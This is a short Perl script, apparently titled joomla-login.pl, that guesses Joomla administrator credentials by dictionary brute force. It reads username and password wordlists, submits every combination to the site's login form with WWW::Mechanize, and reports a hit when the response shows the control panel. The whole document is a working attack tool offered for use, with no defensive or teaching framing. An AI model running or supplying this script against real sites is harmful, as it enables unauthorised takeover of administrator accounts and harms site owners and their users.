ManuDav

#!/usr/bin/perl

use utf8;
use strict;
use WWW::Mechanize;

my $url = $ARGV[0];
my $admin = $ARGV[1];
my $password = $ARGV[2];

if (!@ARGV)
{
	print "perl joomla-login.pl <enlace> <admin> <password>";
}
else
{
	my $mechanize = WWW::Mechanize->new();
	$mechanize->get($url);
	open (ADMIN, "<", $admin) || die("Error al procesador el diccionario de los usuarios.");
	while(<ADMIN>)
	{
		my $adm = $_;
		chomp($adm);
		open(PASSWORD, "<", $password) ||die("Error al procesar el diccionario de contraseña");
		while(<PASSWORD>)
		{
		chomp($_);
		$mechanize->submit_form
			(
				form_id=> 'form-login',
				fields => {username => $adm, passwd => $_}
			);
		print "$adm:$_\n";
		my $content = $mechanize->content;
		if ($content=~ /Panel de Control/ || $content=~ /Control Panel/)
			{
			print "\n\n¡Datos de acceso! $adm:$_\n\n";
			}

		}
		close(PASSWORD);
	}
	close(ADMIN);
}exit;